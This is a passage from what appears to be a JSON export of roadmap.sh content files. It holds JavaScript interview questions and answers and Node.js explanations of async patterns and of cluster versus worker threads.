    "content": "Java and JavaScript are different programming languages in terms of syntax and uses. [Java](https://roadmap.sh/java) is a programming language that Sun Microsystems created in the '90s and is now owned by Oracle. It is a general-purpose, object-oriented programming language often used for building software. Examples of this software include desktop, web apps, and mobile apps for Android. \n\nJava is also a statically typed language, meaning a variable's data type must be known at compile time. Before starting the program, you must understand what kind of data you're working with.\n\nIn contrast, Brendan Eich created JavaScript, a scripting language, at Netscape in 1995. It is a dynamically typed language, meaning that a variable's data type is determined at runtime. You do not have to declare the data type of a variable before using it. Check out the guide on the [differences between Java and JavaScript](https://roadmap.sh/java/vs-javascript) to learn more. "
  },
  {
    "path": "src/data/question-groups/javascript/content/javascript-data-types.md",
    "content": "Primitive and non-primitive data types are the two main data types in JavaScript. Primitive data types are the main elements that make up all the data you work with in JavaScript. They are immutable, meaning you can't change their values once you create them. Also, they're stored in memory as single values. Some examples of primitive data types include:\n\n- Number (numeric values, e.g., 78).\n- String (text values, e.g., \"hey\").\n- Boolean values (true or false).\n- Null\n- Undefined\n- Symbols\n\n![JavaScript interview questions: Data types](https://assets.roadmap.sh/guest/javascript-data-types-5r91t.png)\n\nNon-primitive data types, also called reference data types, store groups of data or complex structures. They are mutable, meaning you can change their values once you create them. Unlike primitive data types, they're stored in memory as references rather than single values. Some examples of non-primitive data types include:\n\n- Object (collection of key-value pairs, e.g., { name: 'cess', age: 26 };).\n- Array (e.g., [10, 12, 13]).\n- Function (e.g., function add(a = 10, b = 5) { return a + b; }). "
  },
  {
    "path": "src/data/question-groups/javascript/content/javascript-ending.md",
    "content": "## Wrapping up\n\nLearning JavaScript is a continuous process that requires regular practice, self-assessment, and dedication. By studying the JavaScript interview questions and answers above, you have made considerable progress in improving your skills and confidence.\n\nFeel free to mix it up during your study hours by asking different questions and using various scenarios. It'll make you feel more at ease and ready for whatever JavaScript interview questions you might see in actual interviews.\n\nSet aside time each day or week to practice coding problems, work on your projects, and study. Also, jot down notes, make summaries, or even teach someone else. Doing this will solidify your learning and show you where you need extra work.\n\nTo improve at JavaScript and find more helpful resources, check out the [JavaScript guide](https://roadmap.sh/javascript) on [roadmap.sh](http://roadmap.sh). It has valuable resources to help you learn and prepare for JavaScript interviews.\n\n"
  },
  {
    "path": "src/data/question-groups/javascript/content/javascript-frameworks.md",
    "content": "Listed below are some common JavaScript frameworks and their uses:\n\n- **Node.js**: Builds backend web apps and APIs.\n- **React**: Good for building single-page apps (SPAs), e.g., chat apps.\n- **Angular**: Building web apps like social media apps and features like user authentication. "
  },
  {
    "path": "src/data/question-groups/javascript/content/logical-error.md",
    "content": "A logical error is when your code runs without syntax or reference errors. But when it runs, it won't do what you want it to because of a mistake in how you wrote it.\n\nSuppose you're trying to add two numbers together in a function. But instead of using the plus sign, you use the multiplication sign by mistake. The code will still run, but you won't get your desired answer. "
  },
  {
    "path": "src/data/question-groups/javascript/content/object-create.md",
    "content": "To create a new object using `Object.create()` method, here's an example that demonstrates it in action\n\n```javascript\n// Create a parent object \n\nlet myDetails = { \n    newDetails: function () {\n        console.log(\n            `Hello, I'm ${this.name} and I have traveled to ${this.visits} countries`\n        );\n} \n}; \n\n// Create a new object using Object.create() with myDetails as prototype\n\nlet runDetails = Object.create(myDetails); \n\n\n// Add properties to the new object\n\nrunDetails.name = \"Cess\"; \n\nrunDetails.visits = 2; \n\n// Using inheritance method\n\nrunDetails.newDetails(); // Hello, I'm Cess and I have traveled to 2 countries\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/prototype-inheritance.md",
    "content": "Prototype inheritance is when objects can inherit properties and methods from other objects. Each item has a \"prototype,\" i.e., the parent object. Whenever you want to use a property or method on an object, JavaScript first checks if it has it. If not, it looks at the object's prototype to see if it has it. If the prototype has it, then the object \"inherits\" it. This process continues until it finds the property it's looking for or hits the end of the prototype chain.\n\nFor example, Date objects, like timestamps, inherit their properties and methods from the Date prototype. Math objects provide existing tools and features for math tasks, but do not rely on or inherit from a Math prototype. Array objects, like lists, get their features and actions from the Array prototype. "
  },
  {
    "path": "src/data/question-groups/javascript/content/recursive-function.md",
    "content": "A recursive function is a function that calls itself to solve a particular problem. It breaks down a big problem into smaller parts with each call and solves them one by one. The function has two main parts: the base case, which stops the repetition, and the recursive case, which repeats the steps until it reaches the base.\n\n```javascript\nfunction myArray(arrOld) {\n\n// Base case: empty array \n\nif (arrOld.length === 0) {\n        return 0;\n    }\n    else {\n        // Recursive case: Add the first element + sum of the rest arrays\n                return arrOld[0] + myArray(arrOld.slice(1));\n        }\n}\n\nlet newArray = [20, 30, 40, 50]; \n\nconsole.log(myArray(newArray)); // 140\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/reference-vs-syntax-error.md",
    "content": "A syntax error happens when you write code that the JavaScript engine can't understand, so your code won't run. It can be when you make a typo spelling a keyword or forget to close a bracket, parenthesis, or curly brace.\n\n![JavaScript interview questions: Error handling](https://assets.roadmap.sh/guest/types-of-errors-in-javascript-9nl2m.png)\n\n```javascript\nconsole.log(\"JavaScript interview questions\"\n```\n\nA reference error occurs when you try to use a variable or a function that doesn't exist. The code will run, but it won't find what you're referencing since you didn't create the variable using let, var, and const keywords.\n\n```javascript\nconsole.log(myStudy);\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/remove-duplicates.md",
    "content": "You can use the `filter()`, `reduce()` method, and more to remove duplicates from an array. I'll be using the `set()` method as an example:\n\n```javascript\nlet myArray = [30,30,30,40,50,50,60,60];\n\nlet newArray = [...new Set(myArray)]; // removes duplicates and converts back to an array\n\nconsole.log(newArray); //  [30, 40, 50, 60]\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/rest-parameter.md",
    "content": "The rest parameter allows you to represent many arguments in an array. It's useful when you need a function to accept extra arguments beyond what you've listed. \n\n![JavaScript interview questions: rest parameter](https://assets.roadmap.sh/guest/javascript-rest-parameter-lbzht.png)\n\nThe \"rest parameter\" syntax consists of three dots (`...`) followed by the name of a parameter. Also, if you're using a rest parameter with other values, make sure it's the last one on the list.\n\n```javascript\nfunction functionName(...restParameter) {\n    // Body of the function\n}\n\n// Example 2\n\nfunction functionName(value1, value2, ...restParameter) {\n    // Body of the function\n}\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/reverse-string-function.md",
    "content": "You can reverse a string using the `split()`, `reverse()`, and `join()` method.\n\n```javascript\nfunction reverseMyString(str) {\n  return str.split(\"\").reverse().join(\"\");\n}\n\nlet myString = \"Learn JavaScript\";\n\nlet reverseString = reverseMyString(myString);\n\nconsole.log(reverseString); // tpircSavaJ nraeL\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/spread-array-output.md",
    "content": "```javascript\nconst arr1 = [1,2,3];\n\nconst arr2 = [...arr1, 4, 5, 6];\n\nconsole.log(arr2); // what ?\n\nconsole.log(arr2); // [1, 2, 3, 4, 5, 6]\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/spread-operator-objects.md",
    "content": "The spread operator (`...`) allows you to merge objects through a function call or directly combine objects. Below is an example using a function call:\n\n```javascript\nfunction mergeObj(firstObj, secondObj) {\n        return {...firstObj, ...secondObj} // merge both objects\n}\n\nlet firstObj = { name: \"cess\", city: \"Lagos\"};\n\nlet secondObj = {occupation: \"developer\", countriesVisited: 2};\n\nlet newObj = mergeObj(firstObj, secondObj);\n\nconsole.log(newObj); // {name: 'cess', city: 'Lagos', occupation: 'developer', countriesVisited: 2}\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/strict-mode.md",
    "content": "## Advanced concepts\n\nJavaScript's strict mode makes you follow strict rules **(best practices)** when writing code. It prevents common mistakes JavaScript often ignores, such as undeclared variables, and keeps your code safe. Add the string `\"use strict\";` at the top of the JavaScript file or function to enable strict mode.\n\n```javascript\n// Without strict mode\n\ncourseNo = \"200\";\n\nconsole.log(courseNo); // 200\n\n// With strict mode\n\n\"use strict\";  // top of your JS file\n\ncourseNo= \"200\";\n\nconsole.log(courseNo); // courseNo is not defined i.e, you didn't create it using the var, const, or let keywords. \n\n\n// Strict mode: Functions\n\nfunction strictExample() { \n\n\"use strict\"; \n\ncourseNumber = \"200\"; //  Error: courseNumber is not defined\n\nconsole.log(courseNumber ); // code won't run\n\n} \n\nstrictExample(); // ReferenceError\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/substring-check.md",
    "content": "You can use different methods like `search()` or `indexOf()` to see if a string has a particular word. But I'll use the includes() method to check if a string contains a specific substring. It'll return \"true\" if the substring is present in the string and \"false\" if not.\n\n```javascript\nfunction findSubstring(mainString, substring) {\n  return mainString.includes(substring);\n}\n\nconsole.log(findSubstring(\"Learn JavaScript\", \"JavaScript\")); // True - It contains JavaScript\n\nconsole.log(findSubstring(\"Learn JavaScript\", \"Python\")); // False - It doesn't contain Python\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/this-keyword.md",
    "content": "The \"this\" keyword in JavaScript refers to the object or context on which a code runs. Examples of these codes include function calls, object methods, event handlers, and more. You use it to access the properties and methods of that object. The value of this keyword changes depending on how you use (or call) the function.\n\n![JavaScript interview questions: the this keyword](https://assets.roadmap.sh/guest/the-this-keyword-ohsom.png)\n\nWhen you use \"this\" in the context of a method, \"this\" indicates the object that owns the method. For standalone functions, \"this\" is the global object, but in strict mode it's undefined. Also, in event handlers, \"this\" refers to the element that caused the event. "
  },
  {
    "path": "src/data/question-groups/javascript/content/undefined-vs-null.md",
    "content": "Undefined variables are variables that the developer has declared but not yet assigned a value. \n\n```javascript\n// Example 1\n\nlet study;\n\nconsole.log(study); // undefined var\n\n// Example 2\n\nlet myObj = {}; // empty object\n\nconsole.log(myObj.name); // undefined because name does not exist\n```\n\nA null variable is a variable or property that is empty. You use null variables when you want to show that a variable has no values or want to clear the value of a variable.\n\n```javascript\n// Example 1\n\nlet study = null;\n\nconsole.log(study); // null\n\n// Example 2\n\nlet obj = {\n    name: \"cess\",\n};\n\nobj.name = null;\n\nconsole.log(obj.name); // null\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/variable-declaration.md",
    "content": "A variable declaration is when you create a variable to store a value in JavaScript. You give it a descriptive name, which you can then use to store or retrieve the value. In JavaScript, you use **var, let, and const** keywords to declare variables.\n\n![JavaScript interview questions: Declaring variables](https://assets.roadmap.sh/guest/variable-declarations-in-javascript-r8f7v.png)\n\nOlder versions of JavaScript used the var keyword to declare variables**.** Variables declared using the var keyword have a function scope. It lets you give variables the same name and a new value even in the same scope. However, it may result in confusion and errors, making debugging your code difficult.\n\n```javascript\nvar course = \"java\";\n\nvar course = \"JavaScript interview questions\"; // No error\n\nconsole.log(course); // JavaScript interview questions\n```\n\nThe let keyword is a new way to declare variables in JavaScript in ECMAScript 2015 (ES6). Variables declared using the let keyword have a block scope. You can change the value, but you can't use the same name for a variable in the same block scope. It helps make debugging code easier compared to the var keyword.\n\n```javascript\nlet course = \"java\";\n\nlet course = \"JavaScript interview questions\"; \n\nconsole.log(course);// Identifier 'course' has already been declared\n\n\n\n// Example 2\n\nlet course = \"java\";\n\ncourse = \"JavaScript interview questions\"; \n\nconsole.log(course);// JavaScript interview questions\n```\n\nThe const keyword works as the let keyword since both are block-scoped. However, you cannot change the value or use the same name for a variable in the same scope.\n\n```javascript\nconst course = \"java\";\n\ncourse = \"JavaScript interview questions\"; \n\n// Error: Assignment to constant variable.\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/variable-naming-conventions.md",
    "content": "The following are the naming conventions for variables in JavaScript:\n\n- Write variable names in camelCase. Use lowercase letters to begin the variable name and then uppercase for each new word, e.g., myName.\n- Use descriptive variable names. Instead of using \"p\" as a variable name for a password, use userPassword instead.\n- Don't use JavaScript keywords such as if, for, or while as variable names.\n- Don't include special characters like punctuation and math operators in your variable names. Only use underscores (_) and dollar signs ($).\n- Don't start variable names with numbers; instead, place them at the end. For example, you can't have 99myName, but myName99 is okay. "
  },
  {
    "path": "src/data/question-groups/javascript/content/window-vs-document.md",
    "content": "A window object represents the entire browser or tab. It controls everything on the page, from loading content to responding to your clicks. The window object is a topmost object that helps manage the browser window.\n\nIn contrast, the document object is a window property. The document object represents the web page's content **(HTML document)** you're looking at in the browser, such as the text. It enables you to interact with, change, and style web elements such as paragraphs using methods like `getElementById()`. "
  },
  {
    "path": "src/data/question-groups/javascript/javascript.md",
    "content": "---\norder: 1\nbriefTitle: 'JavaScript'\nbriefDescription: 'Ace your next JavaScript developer interview with our Q&As that are popular among hiring managers.'\ntitle: 'Top 30 JavaScript Interview Questions and Answers'\ndescription: 'Ace your next JavaScript developer interview with our Q&As that are popular among hiring managers.'\nauthorId: 'ekene'\nending: 'javascript-ending.md'\ndate: 2025-05-15\nseo:\n  title: 'Top 30 JavaScript Interview Questions and Answers'\n  description: 'Ace your next JavaScript developer interview with our Q&As that are popular among hiring managers.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/javascript-interview-questions-and-answers-itam7.jpg'\n  keywords:\n    - 'javascript quiz'\n    - 'javascript questions'\n    - 'javascript interview questions'\n    - 'javascript interview'\n    - 'javascript test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: How does Java differ from JavaScript?\n    answer: java-vs-javascript.md\n    topics:\n      - 'Core Concepts'\n  - question: What are the various data types that exist in JavaScript?\n    answer: javascript-data-types.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the difference between undefined and null in JavaScript?\n    answer: undefined-vs-null.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the use of the isNaN function?\n    answer: isnan-function.md\n    topics:\n      - 'Core Concepts'\n  - question: What are the conventions of naming a variable in JavaScript?\n    answer: variable-naming-conventions.md\n    topics:\n      - 'Core Concepts'\n  - question: What is a variable declaration, and how are var, let, and const keywords different?\n    answer: variable-declaration.md\n    topics:\n      - 'Core Concepts'\n  - question: Explain the concept of global scope and local scope in JavaScript\n    answer: global-local-scope.md\n    topics:\n      - 'Core Concepts'\n  - question: Explain the concept of the global object in JavaScript\n    answer: global-object.md\n    topics:\n      - 'Core Concepts'\n  - question: Explain the concept of hoisting in JavaScript with examples\n    answer: hoisting.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the purpose of the \"this\" keyword in JavaScript?\n    answer: this-keyword.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the difference between the \"==\" and \"===\" operators in JavaScript?\n    answer: equality-operators.md\n    topics:\n      - 'Core Concepts'\n  - question: What would be the result of 10+2+\"9\"?\n    answer: addition-operator-result.md\n    topics:\n      - 'Core Concepts'\n  - question: What are function declarations, and how are they different from function expressions?\n    answer: function-declarations-expressions.md\n    topics:\n      - 'Functions'\n  - question: What is the difference between a \"callback\" function and a \"higher-order\" function, with examples\n    answer: callback-higher-order-functions.md\n    topics:\n      - 'Functions'\n  - question: What is an immediately invoked function expression (IIFE)? Provide an example\n    answer: iife.md\n    topics:\n      - 'Functions'\n  - question: How would you implement a JavaScript function to reverse a string?\n    answer: reverse-string-function.md\n    topics:\n      - 'Functions'\n  - question: Write a JavaScript function to check if a number is even or odd\n    answer: even-odd-check.md\n    topics:\n      - 'Functions'\n  - question: Write a JavaScript function to check if a string contains a specific substring\n    answer: substring-check.md\n    topics:\n      - 'Functions'\n  - question: What is the rest parameter, and how does it work?\n    answer: rest-parameter.md\n    topics:\n      - 'Functions'\n  - question: What are arrow functions, and how do they differ from regular functions?\n    answer: arrow-functions.md\n    topics:\n      - 'Functions'\n  - question: Explain the concept of function scope with an example\n    answer: function-scope.md\n    topics:\n      - 'Functions'\n  - question: Explain the concept of prototype inheritance in JavaScript\n    answer: prototype-inheritance.md\n    topics:\n      - 'Objects and Prototypes'\n  - question: How do you add a method to an object?\n    answer: add-method-to-object.md\n    topics:\n      - 'Objects and Prototypes'\n  - question: How can you check if an object has a specific property?\n    answer: check-object-property.md\n    topics:\n      - 'Objects and Prototypes'\n  - question: How do you define a constructor function in JavaScript?\n    answer: constructor-function.md\n    topics:\n      - 'Objects and Prototypes'\n  - question: Write a JavaScript code snippet to create a new object using the Object.create() method\n    answer: object-create.md\n    topics:\n      - 'Objects and Prototypes'\n  - question: How do you create an array in JavaScript?\n    answer: arrays-creation.md\n    topics:\n      - 'Arrays'\n  - question: Explain the array prototype methods with an example\n    answer: array-methods.md\n    topics:\n      - 'Arrays'\n  - question: How do you add or remove items from an array?\n    answer: add-remove-array-items.md\n    topics:\n      - 'Arrays'\n  - question: What is a recursive function? Provide an example using arrays\n    answer: recursive-function.md\n    topics:\n      - 'Arrays'\n  - question: How do you loop through the items in an array?\n    answer: array-loop.md\n    topics:\n      - 'Arrays'\n  - question: What are the different ways to clear an array in JavaScript?\n    answer: clear-array.md\n    topics:\n      - 'Arrays'\n  - question: What are the different methods to remove duplicates from a JavaScript array?\n    answer: remove-duplicates.md\n    topics:\n      - 'Arrays'\n  - question: How would you use the spread operator to merge objects instead of arrays?\n    answer: spread-operator-objects.md\n    topics:\n      - 'Arrays'\n  - question: What is the output of the following JavaScript code? const arr1 = [1,2,3]; const arr2 = [...arr1, 4, 5, 6]; console.log(arr2);\n    answer: spread-array-output.md\n    topics:\n      - 'Arrays'\n  - question: Explain the difference between a reference error and a syntax error with examples\n    answer: reference-vs-syntax-error.md\n    topics:\n      - 'Error Handling'\n  - question: Explain a logical error with an example\n    answer: logical-error.md\n    topics:\n      - 'Error Handling'\n  - question: How do you log and monitor errors in a JavaScript application, especially in a production environment?\n    answer: error-monitoring.md\n    topics:\n      - 'Error Handling'\n  - question: What is the Document Object Model (DOM)?\n    answer: dom.md\n    topics:\n      - 'Advanced concepts'\n  - question: How do you use CSS style selectors with JavaScript to manipulate an HTML element?\n    answer: css-selectors-javascript.md\n    topics:\n      - 'Advanced concepts'\n  - question: Differentiate between innerHTML and innerText\n    answer: innerhtml-vs-innertext.md\n    topics:\n      - 'Advanced concepts'\n  - question: What is the difference between a window object and a document object in JavaScript?\n    answer: window-vs-document.md\n    topics:\n      - 'Advanced concepts'\n  - question: What is the Browser Object Model (BOM)?\n    answer: bom.md\n    topics:\n      - 'Advanced concepts'\n  - question: How do you use destructuring in JavaScript?\n    answer: destructuring.md\n    topics:\n      - 'Advanced concepts'\n  - question: What is asynchronous JavaScript, and how does it handle code execution?\n    answer: asynchronous-javascript.md\n    topics:\n      - 'Advanced concepts'\n  - question: What is the purpose of the strict mode in JavaScript?\n    answer: strict-mode.md\n    topics:\n      - 'Advanced concepts'\n  - question: What are imports and exports in JavaScript?\n    answer: imports-exports.md\n    topics:\n      - 'Advanced concepts'\n  - question: What are the ways of adding JavaScript to an HTML file?\n    answer: adding-javascript-to-html.md\n    topics:\n      - 'Advanced concepts'\n  - question: What are some popular JavaScript frameworks, and what are their primary use cases?\n    answer: javascript-frameworks.md\n    topics:\n      - 'Advanced concepts'\n---\n\n![JavaScript interview questions](https://assets.roadmap.sh/guest/javascript-interview-questions-and-answers-itam7.jpg)\n\nJavaScript interviews can be rough, even for developers with years of experience. You're expected to understand the language's basics and more complex parts. Interviewers want to see how well you know the language and how you use it to solve problems. It's a good idea to brush up on some common JavaScript interview questions before your interview.\n\nWhen preparing for a JavaScript interview, make sure you don't just memorize everything. Instead, focus on developing a good understanding of the language and getting to know it inside and out. Start by learning the basics, e.g., variables, and then you can move on to more advanced topics like async/await. Doing this will help you analyze things better and use your knowledge in building web apps.\n\nIn this guide, I'll cover top JavaScript interview questions and answers to help you prepare well. I'll cover basic syntax, data types, and advanced concepts like async/await. You'll also find a collection of flashcards designed to help you practice and learn better. But if you want to research more on each topic or start learning about JavaScript, check out the [JavaScript roadmap](https://roadmap.sh/javascript).\n\n## Preparing for your JavaScript interview\n\nPrepare for your JavaScript interview by keeping these tips in mind:\n\n- Improve your understanding of basic JavaScript concepts by learning variables, arrays, and more.\n- Practice building projects using sites like [LeetCode](https://leetcode.com/) and **[HackerRank](https://www.hackerrank.com/).**\n- Learn how to use advanced JavaScript topics such as async/await to create apps that fix everyday issues people deal with.\n- If you need to, learn JavaScript frameworks and libraries like [React](https://roadmap.sh/react) and [Angular](https://roadmap.sh/angular) for the job. Know how components and state management work in your chosen framework or library.\n- Use this guide to understand common JavaScript interview questions. Practice answering them, and be ready to explain how you came up with your answers. Try practicing with a friend to get some feedback to help you improve.\n- Learn about the company and what they're all about. It'll help you better understand what they want and how to answer the interview questions.\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/async-patterns.md",
    "content": "Node.js provides multiple ways to handle asynchronous operations. Understanding when to use each pattern is crucial for writing clean, maintainable code and handling errors properly.\n\n## 1. Callbacks (Traditional)\n\nThe original async pattern in Node.js. Error-first callbacks are the convention.\n\n```js\nimport fs from 'node:fs';\n\n// Error-first callback pattern\nfs.readFile('file.txt', 'utf8', (err, data) => {\n  if (err) {\n    console.error('Error:', err.message);\n    return;\n  }\n  console.log('Data:', data);\n});\n\n// Callback Hell (avoid this!)\nfs.readFile('file1.txt', (err, data1) => {\n  fs.readFile('file2.txt', (err, data2) => {\n    fs.readFile('file3.txt', (err, data3) => {\n      // Nested callbacks become unmanageable\n    });\n  });\n});\n```\n\n## 2. Promises\n\nCleaner chaining and better error handling than callbacks.\n\n```js\nimport fs from 'node:fs/promises';\n\n// Promise chain\nfs.readFile('file1.txt', 'utf8')\n  .then((data1) => {\n    console.log(data1);\n    return fs.readFile('file2.txt', 'utf8');\n  })\n  .then((data2) => {\n    console.log(data2);\n  })\n  .catch((err) => {\n    console.error('Error:', err.message);\n  })\n  .finally(() => {\n    console.log('Cleanup');\n  });\n\n// Creating a Promise\nfunction delay(ms) {\n  return new Promise((resolve) => {\n    setTimeout(resolve, ms);\n  });\n}\n\n// Promisify callback functions\nimport { promisify } from 'node:util';\nimport fsCallback from 'node:fs'; // callback-based API\nconst readFileAsync = promisify(fsCallback.readFile);\n```\n\n## 3. Async/Await\n\nSyntactic sugar over Promises. Most readable and maintainable.\n\n```js\nimport fs from 'node:fs/promises';\n\nasync function readFiles() {\n  try {\n    const data1 = await fs.readFile('file1.txt', 'utf8');\n    const data2 = await fs.readFile('file2.txt', 'utf8');\n    const data3 = await fs.readFile('file3.txt', 'utf8');\n    \n    return { data1, data2, data3 };\n  } catch (err) {\n    console.error('Error:', err.message);\n    throw err;\n  }\n}\n\n// Call async function\nreadFiles()\n  .then(result => console.log(result))\n  .catch(err => console.error(err));\n```\n\n## Parallel vs Sequential Execution\n\n### Sequential (One after another)\n\n```js\nasync function sequential() {\n  const start = Date.now();\n  \n  const result1 = await fetchData1(); // 1 second\n  const result2 = await fetchData2(); // 1 second\n  const result3 = await fetchData3(); // 1 second\n  \n  console.log(`Time: ${Date.now() - start}ms`); // ~3000ms\n}\n```\n\n### Parallel (All at once)\n\n```js\nasync function parallel() {\n  const start = Date.now();\n  \n  const [result1, result2, result3] = await Promise.all([\n    fetchData1(),\n    fetchData2(),\n    fetchData3()\n  ]);\n  \n  console.log(`Time: ${Date.now() - start}ms`); // ~1000ms\n}\n```\n\n## Promise Utilities\n\n### Promise.all() - All must succeed\n\n```js\nconst results = await Promise.all([\n  fetch('/api/users'),\n  fetch('/api/posts'),\n  fetch('/api/comments')\n]);\n// Fails if ANY promise rejects\n```\n\n### Promise.allSettled() - Get all results\n\n```js\nconst results = await Promise.allSettled([\n  fetch('/api/users'),\n  fetch('/api/posts'),\n  Promise.reject('Error')\n]);\n// Returns all results, even if some fail\n// [{ status: 'fulfilled', value: ... }, { status: 'rejected', reason: ... }]\n```\n\n### Promise.race() - First to complete\n\n```js\nconst result = await Promise.race([\n  fetch('/api/data'),\n  delay(5000).then(() => { throw new Error('Timeout'); })\n]);\n```\n\n### Promise.any() - First to succeed\n\n```js\nconst result = await Promise.any([\n  fetch('/api/primary'),\n  fetch('/api/backup1'),\n  fetch('/api/backup2')\n]);\n// Returns first successful result\n```\n\n## Error Handling Comparison\n\n```js\n// Callbacks\ndoSomething((err, result) => {\n  if (err) return handleError(err);\n  // handle result\n});\n\n// Promises\ndoSomething()\n  .then(result => { /* handle result */ })\n  .catch(err => handleError(err));\n\n// Async/Await\ntry {\n  const result = await doSomething();\n  // handle result\n} catch (err) {\n  handleError(err);\n}\n```\n\n## When to Use Each Pattern\n\n| Pattern | Best For | Avoid When |\n|---------|----------|------------|\n| Callbacks | Legacy code, streams, event emitters | New code, complex flows |\n| Promises | Chaining operations, library APIs | Simple one-off operations |\n| Async/Await | Most modern code, readability | Top-level module scope (ESM) |\n\n## Common Mistakes\n\n### Forgetting to await\n\n```js\n// ❌ Wrong - returns Promise, not result\nasync function getData() {\n  const data = fetchData(); // Missing await!\n  return data;\n}\n\n// ✅ Correct\nasync function getData() {\n  const data = await fetchData();\n  return data;\n}\n```\n\n### Unnecessary async\n\n```js\n// ❌ Unnecessary async wrapper\nasync function getValue() {\n  return await Promise.resolve(42);\n}\n\n// ✅ Just return the promise\nfunction getValue() {\n  return Promise.resolve(42);\n}\n```\n\n### Not handling rejections\n\n```js\n// ❌ Unhandled rejection\nasync function riskyOperation() {\n  const data = await fetchData(); // Can throw!\n}\n\n// ✅ Always handle errors\nasync function safeOperation() {\n  try {\n    const data = await fetchData();\n    return data;\n  } catch (err) {\n    console.error('Failed:', err);\n    return null;\n  }\n}\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/cluster-vs-worker-threads.md",
    "content": "Node.js provides two main ways to utilize multiple CPU cores: the Cluster module and Worker Threads. Both help achieve parallelism but serve different purposes and have distinct characteristics.\n\n## Cluster Module\n\nCreates multiple processes (workers) that share the same server port. Each worker is a separate Node.js process with its own memory and V8 instance.\n\n```js\nimport cluster from 'node:cluster';\nimport http from 'node:http';\nimport os from 'node:os';\n\nconst numCPUs = os.cpus().length;\n\nif (cluster.isPrimary) {\n  console.log(`Primary ${process.pid} is running`);\n\n  // Fork workers for each CPU\n  for (let i = 0; i < numCPUs; i++) {\n    cluster.fork();\n  }\n\n  cluster.on('exit', (worker, code, signal) => {\n    console.log(`Worker ${worker.process.pid} died`);\n    cluster.fork(); // Restart worker\n  });\n} else {\n  // Workers share the TCP connection\n  http.createServer((req, res) => {\n    res.writeHead(200);\n    res.end(`Hello from worker ${process.pid}`);\n  }).listen(8000);\n\n  console.log(`Worker ${process.pid} started`);\n}\n```\n\n## Worker Threads\n\nCreates threads within the same process. Workers share memory (via SharedArrayBuffer) and are lighter than cluster workers.\n\n```js\nimport { Worker, isMainThread, parentPort, workerData } from 'node:worker_threads';\n\nif (isMainThread) {\n  // Main thread\n  const worker = new Worker(__filename, {\n    workerData: { num: 42 }\n  });\n\n  worker.on('message', (result) => {\n    console.log(`Result: ${result}`);\n  });\n\n  worker.on('error', (err) => {\n    console.error('Worker error:', err);\n  });\n\n  worker.on('exit', (code) => {\n    console.log(`Worker exited with code ${code}`);\n  });\n} else {\n  // Worker thread\n  const { num } = workerData;\n  const result = heavyComputation(num);\n  parentPort.postMessage(result);\n}\n\nfunction heavyComputation(n) {\n  let sum = 0;\n  for (let i = 0; i < n * 1000000; i++) {\n    sum += i;\n  }\n  return sum;\n}\n```\n\n## Key Differences\n\n| Feature | Cluster | Worker Threads |\n|---------|---------|----------------|\n| **Isolation** | Separate processes | Same process |\n| **Memory** | Separate memory | Can share memory |\n| **Communication** | IPC (slower) | Message passing + SharedArrayBuffer |\n| **Use Case** | HTTP servers | CPU-intensive tasks |\n| **Overhead** | Higher (new process) | Lower (new thread) |\n| **Crash Impact** | Worker crash is isolated | Can affect main thread |\n\n## When to Use Cluster\n\nBest for scaling HTTP servers across CPU cores:\n\n```js\nimport cluster from 'node:cluster';\nimport os from 'node:os';\n\n// Use with PM2 (recommended for production)\n// pm2 start app.js -i max\n\n// Or manually with cluster\nconst numCPUs = os.cpus().length;\n\nif (cluster.isPrimary) {\n  for (let i = 0; i < numCPUs; i++) {\n    cluster.fork();\n  }\n} else {\n  app.listen(3000);\n}\n```\n\n## When to Use Worker Threads\n\nBest for CPU-intensive operations without blocking the event loop:\n\n```js\n// main.js\nimport { Worker } from 'node:worker_threads';\n\nfunction runWorker(data) {\n  return new Promise((resolve, reject) => {\n    const worker = new Worker('./worker.js', { workerData: data });\n    worker.on('message', resolve);\n    worker.on('error', reject);\n  });\n}\n\n// Process image without blocking server\napp.post('/process-image', async (req, res) => {\n  const result = await runWorker({ image: req.body.image });\n  res.json(result);\n});\n```\n\n```js\n// worker.js\nimport { workerData, parentPort } from 'node:worker_threads';\n\n// Heavy image processing\nconst result = processImage(workerData.image);\nparentPort.postMessage(result);\n```\n\n## Sharing Memory with Worker Threads\n\n```js\n// Main thread\nimport { Worker } from 'node:worker_threads';\n\nconst sharedBuffer = new SharedArrayBuffer(4);\nconst sharedArray = new Int32Array(sharedBuffer);\n\nconst worker = new Worker('./worker.js', {\n  workerData: { sharedBuffer }\n});\n\n// Both can read/write to sharedArray\nAtomics.store(sharedArray, 0, 100);\n\n// Worker thread\nimport { workerData } from 'node:worker_threads';\nconst sharedArray = new Int32Array(workerData.sharedBuffer);\nconsole.log(Atomics.load(sharedArray, 0)); // 100\n```\n\n## Best Practices\n\n1. **Use Cluster for HTTP servers** - Easy horizontal scaling\n2. **Use Worker Threads for CPU work** - Image processing, parsing, calculations\n3. **Don't overuse workers** - Thread pool size should match CPU cores\n4. **Handle errors properly** - Workers can crash independently\n5. **Consider PM2** - Production-ready process management for clusters\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/commonjs-vs-esm.md",
